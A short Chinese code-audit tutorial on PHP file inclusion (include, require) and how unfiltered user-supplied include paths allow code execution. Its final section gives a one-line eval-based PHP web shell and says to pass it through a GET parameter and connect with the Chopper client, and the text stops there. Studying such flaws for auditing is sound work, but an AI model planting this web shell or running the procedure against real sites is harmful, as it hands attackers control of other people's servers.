@1kbfree
2018-04-10T14:00:37.000000Z
字数 716
阅读 1312
代码审计
FIRST
首先我们需要知道什么是文件包含,比如PHP中的include(),include_once(),require(),require_once()
函数,都是文件包含的函数,我们通常根据这几个函数,来回溯变量,检查变量是否过滤完全。若没有进行过滤,就可能存在安全隐患。
为什么要用文件包含函数?
如果毫无代码基础,不建议看~
比如这里有3个PHP代码:
1. a.php
2. ab.php
3. b.php
比如ab.php代码实现的功能,a.php和b.php都要公用到。那么现在我们只需要用文件包含函数,在a.php和b.php里写include('ab.php')
即可。如果不明白的话再看下图:
http://127.0.0.1/myphp/test/a.php:
http://127.0.0.1/myphp/test/b.php:
那么这个就体现了文件包含函数的作用了,我们把a.php
和b.php
要实现的功能都写在了ab.php
里,节省了代码量,提高了代码执行效率与可读性,可正是因为这种方便的功能,如果没过滤好包含的文件,那么就可能会导致代码执行漏洞的产生,比如有些网站讲包含函数传递的是get或post请求过来的值,这时候我们只需要修改文件路径就可以导致网站被我们getshell。
利用文件包含漏洞getshell
我们在$_GET['file']里传递一个文件,里面代码为<?php@eval($_POST['iamfree'])?>
+
然后使用菜刀连接: